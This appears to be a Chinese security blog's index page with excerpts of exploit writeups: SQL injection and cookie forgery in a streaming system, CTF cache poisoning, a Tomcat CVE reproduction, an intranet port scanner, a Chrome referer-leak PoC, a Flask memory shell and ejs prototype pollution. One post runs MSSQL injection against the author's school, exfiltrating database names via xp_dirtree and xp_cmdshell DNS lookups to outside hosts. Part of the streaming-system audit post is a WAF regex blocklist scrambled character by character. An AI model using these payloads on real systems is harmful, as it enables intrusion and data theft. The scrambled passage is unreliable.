文件上传md5碰撞

这次审计的代码存在这样一个功能点 很明显的文件上传,但是上传后文件名重新编辑过了,跟踪到move 这存在文件上传,但因为前端功能已经被删除,所以这里是拿不到文件的具体位置的 继续 跟到buildSaveName 这里进来后会触发 $savename = date('Ymd') . DS . md5(microtime(true)); 这样就可以知道他文件上传的大致位置是/public/uploads/[年月日]/md5(microtime(true)),如此只需要猜测最后的md5 其中的microtime只精确到后四位小数,没有太夸张存在预测可能 照此,就可以在上传的时候确定当前的时间,定位时间窗口计算出窗口内的所有md5变量,不过数量依旧很大,如果时间窗口定位前后5秒,则会有10000个请求,所以本地测试我稍微缩短了窗口

October 10, 2025 · 1 min · 16 words · neko

某直播系统审计

**直播系统审计 fofa: 万能cookie 框架问题与业务逻辑共同造成的,在框架上cookie使用了aes加密+序列化的手法,导致只要把框架扯下来看看就能找到密码,使得cookie内容用户可控,又因为业务上他把cookie解密后直接插入sql查询导致了注入 在审计的时候发现他的sql语句写的非常糙,全是随意的拼接,防御全靠htmlspecialchars和全局生效的 这里就不往下跟了 反正就是传入 编码 html实体编码过后的内容传入这里,插入sql查询 因为几乎所有的输入都被做了html实体编码,导致如果想利用sql注入就只能找数字形的注入,其实也有后面会提到 万能cookie 与反序列化入口 在前的代码其实能看到,在登入前他会去判断adminCookie是否存在,去验证他 其中有关cookie解密的逻辑跟踪getCookie就能找到 这里要提一下,cookie在get解密之后又经过了反序列化,如果有链子能打,但框架过于小众了审计也没发现目前没有能用的 这里会使用内置可的密钥做解密,继续跟踪到Encrypt的decode 加密使用了AES-256-ECB对称加密 base64解码后丢到openssl传入方法和密钥解密至此就知道怎么解cookie了 回到前面的代码只要$adminCookie['status'] === true就会视为已登入,跳转到到定向到admin_index,到index控制器可以看到他继承自Admin_PublicController 在这里 能看到这样一行 读取了明文cookie的账户密码做查询也就是直接插入了sql,那么我们就可以构造如下cookie来打一个sql注入万能密码 数字型 sql注入 来到roomModel 可以注意到这里是一个数字型注入,那么往前跟踪查看谁调用过他 往前跟踪可以继续跟踪到RoomController 输入来自form读代码可知它继承自Admin_publicController 测试后对应路由是是/admin_room/index/loadData-1.html/?room_id=1这里 虽然sqlmap能检测到注入的存在,但因为全局生效的safePro,依旧需要手动去注入时间关系我没去尝试 $ ) a ' ' ' ; r x s o g s q t s s l h _ ' ' e a = = r r > > ' r " " = = [ [ > a " r \ r a { y ( \ " s . \ ] [ \ { \ ; 1 \ \ } \ ( \ \ s / | ] . > b ] ) \ . + % * ( 0 \ ? 0 \ : ( b s [ o e ^ n l 0 [ e - a c 9 - t a z \ - A \ f - b A Z | - ] u F { p ] 3 d | , a $ 1 t ) 5 e | } \ % [ \ 0 \ b 0 \ | [ s i \ \ n \ \ s ' r e \ \ r \ \ t \ n ( " \ ? \ \ : \ ( . \ ] \ " f ] * = | ? \ b ( ? : e x p r e \ s s s ) i | ( n ) \ \ ( i n < t s o c \ r \ i b p ) t . [ + \ ? \ ( s ? \ : \ f r m ] b s e t \ \ ! b \ ) \ | [ [ c ^ d \ a \ t { a \ \ \ \ s [ ] | { \ 1 \ } b ( ( \ ? \ : s e | \ a \ l b | a l ( e ? r : t c | r p e r a o t m e p | t d | e m l s e g t b e x d ) r \ o \ p s | * t \ r \ u ( n | c u a r t l e \ | \ r ( e ( n ? a : m \ e \ | # d | e d s a c t ) a ( | ? j : a ( \ a \ s / c \ r \ i * p . t * ) ? " \ , \ * \ \ / ) | ( \ \ s ) | ( \ \ + ) ) + ( ? : t a b l e \ \ b | f r o m \ \ b | d a t a b a s e \ \ b ) | i n t o ( ? : ( \ \ / \ \ * . * ? \ \ * \ \ / ) | \ \ s | \ \ + ) + ( ? : d u m p | o u t ) f i l e \ \ b | \ \ b s l e e p \ \ ( [ \ \ s ] * [ \ \ d ] + [ \ \ s ] * \ \ ) | b e n c h m a r k \ \ ( ( [ ^ \ \ , ] * ) \ \ , ( [ ^ \ \ , ] * ) \ \ ) | ( ? : d e c l a r e | s e t | s e l e c t ) \ \ b . * @ | u n i o n \ \ b . * ( ? : s e l e c t | a l l ) \ \ b | ( ? : s e l e c t | u p d a t e | i n s e r t | c r e a t e | d e l e t e | d r o p | g r a n t | t r u n c a t e | r e n a m e | e x e c | d e s c | f r o m | t a b l e | d a t a b a s e | s e t | w h e r e ) \ \ b . * ( c h a r s e t | a s c i i | b i n | c h a r | u n c o m p r e s s | c o n c a t | c o n c a t _ w s | c o n v | e x p o r t _ s e t | h e x | i n s t r | l e f t | l o a d _ f i l e | l o c a t e | m i d | s u b | s u b s t r i n g | o c t | r e v e r s e | r i g h t | u n h e x ) \ \ ( | ( ? : m a s t e r \ \ . \ \ . s y s d a t a b a s e s | m s y s a c c e s s o b j e c t s | m s y s q u e r i e s | s y s m o d u l e s | m y s q l \ \ . d b | s y s \ \ . d a t a b a s e _ n a m e | i n f o r m a t i o n _ s c h e m a \ \ . | s y s o b j e c t s | s p _ m a k e w e b t a s k | x p _ c m d s h e l l | s p _ o a m e t h o d | s p _ a d d e x t e n d e d p r o c | s p _ o a c r e a t e | x p _ r e g r e a d | s y s \ \ . d b m s _ e x p o r t _ e x t e n s i o n ) " , 前台任意文件读取 来到publicController ...

September 26, 2025 · 17 min · 3513 words · neko

L3HCTF部分web题复现

best-profile 先看代码,问题在这部分 @app.route("/ip_detail/<string:username>", methods=["GET"]) def route_ip_detail(username): res = requests.get(f"http://127.0.0.1/get_last_ip/{username}") if res.status_code != 200: return "Get last ip failed." last_ip = res.text try: ip = re.findall(r"\d+\.\d+\.\d+\.\d+", last_ip) country = geoip2_reader.country(ip) except (ValueError, TypeError): country = "Unknown" template = f""" <h1>IP Detail</h1> <div>{last_ip}</div> <p>Country:{country}</p> """ return render_template_string(template) 经典的ssti模板注入,在比赛的时候一直尝试 甚至都怀疑到了是否能绕过string:username,走目录遍历,结果是nginx的缓存投毒,在做题的时候我甚至都没去注意这个文件 location ~ .*\.(js|css)?$ { proxy_ignore_headers Cache-Control Expires Vary Set-Cookie; proxy_pass http://127.0.0.1:5000; proxy_cache static; proxy_cache_valid 200 302 12h; } 特殊后缀proxy_cache static开启了缓存,因为用户注册时并没有限制特殊字符,则我们可以通过构建类似与test.js 的用户名来访问/get_last_ip/ 欺骗缓存,这样服务器通过 requests.get 访问即使没有cookie也会返回缓存数据 构建用户 ...

July 15, 2025 · 3 min · 448 words · neko

CVE-2025-24813

简单翻阅资料可以做出如下总结: 这个漏洞的成因是tomcat的部分put功能缺陷导致的文件上传,导致不安全反序列化的漏洞,进而实现远程命令执行的漏洞 我对tomcat的了解不多,所以这次集中在复现上 docker pull tomcat:9.0.98-jdk8 在conf/web.xml中设置readonly为false 开启file文件会话存储 将Commons Collections 下载到lib文件夹中 https://repo1.maven.org/maven2/commons-collections/commons-collections/3.2.1/commons-collections-3.2.1.jar 文件上传成功 PUT /poc/session HTTP/1.1 Host: localhost:8889 Content-Range: bytes 0-1000/1200 {{(paylaod...)}} RCE利用 在yakit中构造一个payload 发送,触发 复现成功 奇安信攻防社区-全网首发!CVE-2025-24813 Tomcat 最新 RCE 分析复现 Apache Tomcat CVE-2025-24813: What You Need to Know | Rapid7 Blog github

June 10, 2025 · 1 min · 43 words · neko

xss、同源策略与内网探测

同源策略 根据mdn文档,可以总结出同源策略的规则 同协议 http,https,不同协议不视作同源 同域名 域名必须完全相同 同端口 端口必须完全相同 同源策略的在浏览器中体现就是,对于限制一个源的文档或脚本如何与另一个源的资源进行交互,简单来说就是一个网站无法访问另一网站的内容 同源豁免 可以利用部分标签的同源豁免来完成跨域的访问例如 img link script iframe video 这些标签可以移动程度上获取不同源的资源 内网探测 <!DOCTYPE html> <html> <head> <title>Fetch Scanner</title> </head> <body> <h1>Fetch-based Network Scanner</h1> <div id="results"></div> <script> const resultsDiv = document.getElementById('results'); function scan(onOpen, timeout = 3000) { // 遍历 1 到 254 for (let i = 1; i < 255; i++) { const ip = `192.168.1.${i}`; const controller = new AbortController(); const timeoutId = setTimeout(() => controller.abort(), timeout); fetch(`http://${ip}:8000`, { mode: 'no-cors', cache: 'no-store', // 使用 controller.signal signal: controller.signal }) .then(() => { // 请求成功= onOpen(ip); }) .catch(() => { // 捕获所有错误 }) .finally(() => { // 清除定时器,防止在请求成功后还执行 abort clearTimeout(timeoutId); }); } } // --- 使用示例 --- console.log("扫描开始..."); scan(ip => { const resultText = `[+] 发现开放主机: ${ip}<br>`; console.log(resultText.replace('<br>', '')); resultsDiv.innerHTML += resultText; }); </script> </body> </html> 这是一个简单示例,关键在于使用mode: 'no-cors’ 来实现绕过同源策略,但他还有一个问题就是,其无法在https的网站上使用会报告Mixed Content: The page at '<URL>' was loaded over HTTPS, but requested an insecure resource '<URL>'. This request has been blocked; the content must be served over HTTPS. 的错误,如果暂时关闭安全链接,则效果如下 ...

June 3, 2025 · 1 min · 162 words · neko

google浏览器**CVE-2025-4664复现**

挺有意思的一个漏洞,用到了link头功能,简单来说chromium在对link头的处理上存在缺陷,导致了Referer可能携带敏感信息 payload: server const express = require('express'); const fs = require('fs'); const path = require('path'); const app = express(); const port = 3001; const logoPath = path.join(__dirname, 'logo.png'); if (!fs.existsSync(logoPath)) { const pngBase64 = 'iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR4nGNgYAAAAAMAAWgmWQ0AAAAASUVORK5CYII='; fs.writeFileSync(logoPath, Buffer.from(pngBase64, 'base64')); console.log('自动生成了 logo.png'); } app.get('/image', (req, res) => { res.setHeader( 'Link', '<http://127.0.0.1:3001/log>;rel="preload";as="image";referrerpolicy="unsafe-url"' ); res.sendFile(logoPath, err => { if (err) { res.status(500).send('图片加载失败'); } }); }); app.get('/log', (req, res) => { const referer = req.headers['referer']; console.log('收到 /log 请求,Referer:', referer); res.send('Hi!'); }); app.listen(port, '0.0.0.0', () => { console.log(`恶意服务器已启动: http://127.0.0.1:${port}`); }); client ...

May 22, 2025 · 1 min · 109 words · neko

针对学校的mssql的测试

在复测的时候发现,学校对api的未授权与sql注入的操作是将asp api help面板直接删掉,而没做任何修改 在fuzz后发现存在堆叠注入,但是无回显,尝试使用dnslog来打(这也是第一次用到这个技巧) POST *** HTTP/1.1 Host: *** Content-Type: application/JSON User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36 {"LogUser":"admin' or'1'='1 ","LogPwd":"1","NewPwd":"123123admin!@#';DECLARE @d VARCHAR(100)=(SELECT TOP 1 name FROM sys.databases);EXEC('xp_dirtree ''\\\\'+@d+'.rbxkyltzcf.iyhc.eu.org\\test''')-- -"} 直接启动xpcmd 理想很美好理论四步就可以打开xpcmd权限 ;EXEC sp_configure 'show advanced options',1;//允许修改高级参数 RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; //打开xp_cmdshell扩展 RECONFIGURE;-- 但是当做到第步骤的时候会出现 { "msg": "在用户事务内不能使用 CONFIG 语句。", "success": false } 而RECONFIGURE会被判定为config语句,所以导致了’show advanced options’,1即使成立也没有什么用 基于xp_dirtree或者xp_cmd的dnslog外带 假设一个最有利的情况,如果xp_cmd可以使用,则可以构造一个如下的payload来完成数据外带 set @a=USER_NAME();exec('master..xp_cmdshell "ping -n 2 ' %2b @a %2b'.dnslog.cn"')-- 假设无法使用xpcmd也可以尝试xp_dirtree进行dnslog的外带 ';DECLARE @d VARCHAR(100)=(SELECT TOP 1 name FROM sys.databases);EXEC('xp_dirtree ''\\\\'+@d+'.rbxkyltzcf.iyhc.eu.org\\test''')-- - 因为xpdirtree允许接受一个路径作为参数,如果参数为unc路径,则会将主机名作为地址查询ip,而操作则会发出一个dns请求,借此完成数据外带 ...

May 16, 2025 · 2 min · 268 words · neko

python沙箱逃逸

基础补充 对象 在python中一切皆对象,而每个对象都有标志,唯一表示,值 >>> num = 42 >>> print(type(num)) <class 'int'> >>> print(id(num)) 140247156393488 >>> type函数 返回对象的类型,即对象是由什么类创建的 类本身也是类,而类的类型是type(元类) >>> id = 1 >>> type(id) <class 'int'> >>> type(type(id)) <class 'type'> >>> id函数 输出对象的内存地址 类和实例 (class and instance) 简单一句话就是,类是对象的模板,实例是类的具体实现。 在python中实现是 class hack: def test(self): print("hAcK!") boom = hack() #基于hack模板创建实例 boom.test() #调用创建的方法 对象的属性和方法 属性 对象所携带的变量 方法 对象执行的操作(函数) class Cat: def __init__(self,name): self.name = name #属性 def getname(self): print(self.name) cat = Cat("miao") print(cat.name) cat.getname() 魔术方法 python中的魔术方法使用下划线包裹,使用与php的魔术方法类似 __init__ 初始化对象,在实例创建时被调用 __str__ 定义对象的字符串表示,已字符串形式输出时被调用 __getattr__ 访问不存在的属性时触发 __getattribute__ 访问任意属性触发 __dict__ 存储对象属性字典触发 class Vector: def __init__(self, x, y): self.x = x self.y = y def __str__(self): return f"Vector({self.x}, {self.y})" v = Vector(3, 4) print(v) # 自动调用 __str__ → "Vector(3, 4)" 继承与多态 集成:子类集成父类的属性与方法 多态:子类可以重写父类的方法 class Animal: def speak(self): raise NotImplementedError class Duck(Animal): def speak(self): # 方法重写 print("Quack!") duck = Duck() duck.speak() # 输出 "Quack!" 特殊属性 __class__ :获取对象的类 ...

May 13, 2025 · 4 min · 647 words · neko

flask 内存马学习

常常听说java的内存马,python的内存马却鲜少听说 旧版flask 靶机代码 from flask import Flask, request, render_template_string app = Flask(__name__) @app.route('/e') def e(): a = eval(request.args.get('cmd')) if a : return "1" else: return "0" 网络上的多数信息是,利用ssti打一个命令执行 url_for.__globals__['__builtins__']['eval']( "app.add_url_rule( '/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read() )", { '_request_ctx_stack':url_for.__globals__['_request_ctx_stack'], 'app':url_for.__globals__['current_app'] } ) 其中关键是 app.add_url_rule( '/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read() ) 在早期的时候是用add_url_rule函数,他的作用是添加一个新路由,在正常开发中我们常使用的是 @app.route('/') def index(): pass 而他等价于 def index(): pass app.add_url_rule('/', 'index', index) 回到关键payload app.add_url_rule向当前的应用添加了一个新的路由,指向shell之后通过lambda匿名函数构建了路由逻辑,通过flask自动调用 而之后的 { '_request_ctx_stack':url_for.__globals__['_request_ctx_stack'], 'app':url_for.__globals__['current_app'] } 分别提供了request对象与app,使得上面运行正常 新版 在最新的flask中使用上述payload,会出现如下错误 AssertionError: The setup method 'add_url_rule' can no longer be called on the application. It has already handled its first request, any changes will not be applied consistently. 在新版中,add_url_rule不能在启动后直接添加了,不能接收路由变更 ...

May 11, 2025 · 1 min · 159 words · neko

ejs漏洞与原型链污染利用

简述:基本所有漏洞都遵守三点,漏洞存在、输入可控、触发代码,ejs原型链污染主要在最后触发上起作用 jsExtend模块的原型链污染 CVE-2021-25945,截至目前依旧可用 poc const jsExtend = require("js-extend") //const ejs = require('ejs'); var obj = {} var malicious_payload = '{"__proto__":{"polluted":"Yes! Its Polluted"}}'; console.log("Before: " + {}.polluted); jsExtend.extend({}, JSON.parse(malicious_payload)); console.log("After : " + {}.polluted); 可以稍微研究下,跟进到模块的代码 (function(factory) { if(typeof exports === 'object') { factory(exports); } else { factory(this); } }).call(this, function(root) { var slice = Array.prototype.slice, each = Array.prototype.forEach; var extend = function(obj) { if(typeof obj !== 'object') throw obj + ' is not an object' ; var sources = slice.call(arguments, 1); each.call(sources, function(source) { //关键点 if(source) { for(var prop in source) { if(typeof source[prop] === 'object' && obj[prop]) { extend.call(obj, obj[prop], source[prop]); } else { obj[prop] = source[prop]; } } } }); return obj; } root.extend = extend; }); 不用怎么看,这个结构太熟悉了 ...

April 21, 2025 · 2 min · 342 words · neko